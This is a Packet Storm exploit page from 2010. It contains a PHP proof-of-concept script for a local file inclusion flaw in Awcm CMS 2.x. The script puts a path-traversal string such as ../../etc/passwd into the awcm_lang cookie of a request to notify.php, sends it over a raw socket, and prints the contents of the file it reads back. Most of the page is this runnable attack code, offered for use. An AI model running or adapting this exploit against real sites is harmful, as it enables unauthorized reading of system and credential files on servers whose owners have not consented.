what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Awcm CMS Local File Inclusion

Awcm CMS Local File Inclusion
Posted Jun 12, 2010
Authored by SwEET-DeViL

Awcm CMS suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 27c69ad25ef070626ecc0a32f8b8522debd2b6f2a2b04da27bc93625bdf2ba42

Awcm CMS Local File Inclusion

Change Mirror Download


# Exploit Title: Awcm Cms Local File Inclusion Vulnerability
# Author: SwEET-DeViL
# Published: 10-6-2010
# Software Link: http://www.awcm-cms.com/
# Download Software: http://sourceforge.net/projects/awcm/
# Version: 2.x
# Tested on: Lunix

Exploit :

<?php

print("
------------------------------------------------------------
| Awcm Cms Local File Inclusion Vulnerability
| By SwEET-DeViL
| x0.root(at)gmail.com
| example
|
| Exploit.php ".$argv[0]." example.com /path/ ../../../../../../../../etc/passwd
------------------------------------------------------------
");
$host =$argv[1];//;
$Path = "http://".$host.$argv[2];
$CURL_in ="GET ".$Path."/notify.php?v=a HTTP/1.0\r\n";
$CURL_in.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1)\r\n";
$CURL_in.="Pragma: no-cache\r\n";
$CURL_in.="Cookie: awcm_lang=".$argv[3]."".";\r\n";
$CURL_in.="Connection: Close\r\n\r\n";

if ( empty($argv[3]) ){
echo "\n[-] Error : Exploit failed\n";
die;
}

$FoN = @fsockopen($host, 80);
if(!$FoN){
echo "\n[-] Error : Can't connect to ".$host." !!\n";
die;
}

fputs($FoN, $CURL_in);
while (!feof($FoN)) $data .= fread($FoN, 1024);
fclose($FoN);

$error_1 = strstr( $data, "HTTP/1.1 404 Not Found" );
if ( !empty($error_1) ){
echo "\n[-] Error : 404 Not Found. \n";
die;
}

$error_2 = strstr( $data, "HTTP/1.1 406 Not Acceptable" );
if ( !empty($error_2) ){
echo "\n[-] Error : 406 Not Acceptable. \n";
die;
}



$EXc = explode("</head>",$data);
$EXx = explode("<head>",$EXc[1]);
$CODE = strip_tags($EXx[0]);
$CODE2 = preg_replace("/\r|\t/",'',$CODE);
$CODE2 = trim($CODE2);

if (empty($CODE2)){
print ('

[-] Error : Sorry! File not Found

');
}else{
print ('
[+]
------------------------------------------------------------
').$CODE2;



print ('

------------------------------------------------------------
');

}

?>


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close